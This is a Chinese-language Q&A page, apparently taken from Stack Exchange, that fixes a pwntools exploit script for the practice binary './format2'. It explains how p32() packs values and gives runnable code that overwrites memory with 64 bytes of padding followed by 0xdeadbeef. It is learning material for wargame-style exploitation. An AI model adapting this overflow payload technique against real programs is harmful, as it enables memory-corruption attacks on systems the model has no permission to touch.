You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python pwn库如何使用p32()正确打包变量构造payload

Pwn利用脚本错误修复

存在的问题

  • process()函数传入的程序路径未加引号,属于语法错误,Python无法识别./format2这个裸标识符。
  • p32()的作用是将32位整数打包为小端序的4字节二进制数据,不能直接传入"A"*64这类长度远大于4字节的字符串:填充内容直接通过字符乘法构造即可,无需调用打包函数。
  • 目标值deadbeef是十六进制格式的内存数值,不能直接以字符串形式传入p32(),需要声明为十六进制整数。
  • Python3环境下Pwntools交互要求传入字节类型数据,直接拼接普通字符串会触发编码报错。

修复逻辑

栈/格式化字符串类题目的payload构造规则:偏移长度的填充内容直接通过b"填充字符"*偏移长度构造,仅需要写入内存的地址、数值类内容才调用p32()(32位程序)或p64()(64位程序)打包。

修复后可运行代码

from pwn import *
# 程序路径以字符串形式传入process
p = process("./format2")
# 目标值声明为十六进制整数
target = 0xdeadbeef
# 填充内容直接用字节乘法构造,无需打包
payload = b"A" * 64
# 仅目标数值需要打包拼接
payload += p32(target)
p.sendline(payload)
p.interactive()

额外注意项

  • 如果目标程序是64位架构,请将p32替换为p64,填充长度需要根据实际栈偏移调整,偏移不准时可使用Pwntools自带的cyclic()函数快速测算。
  • 若调试时发现地址乱码,优先检查程序架构是否和打包函数匹配、是否开启了ASLR等系统防护。

内容的提问来源于stack exchange,提问作者Gobinath B

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.27 03:39:27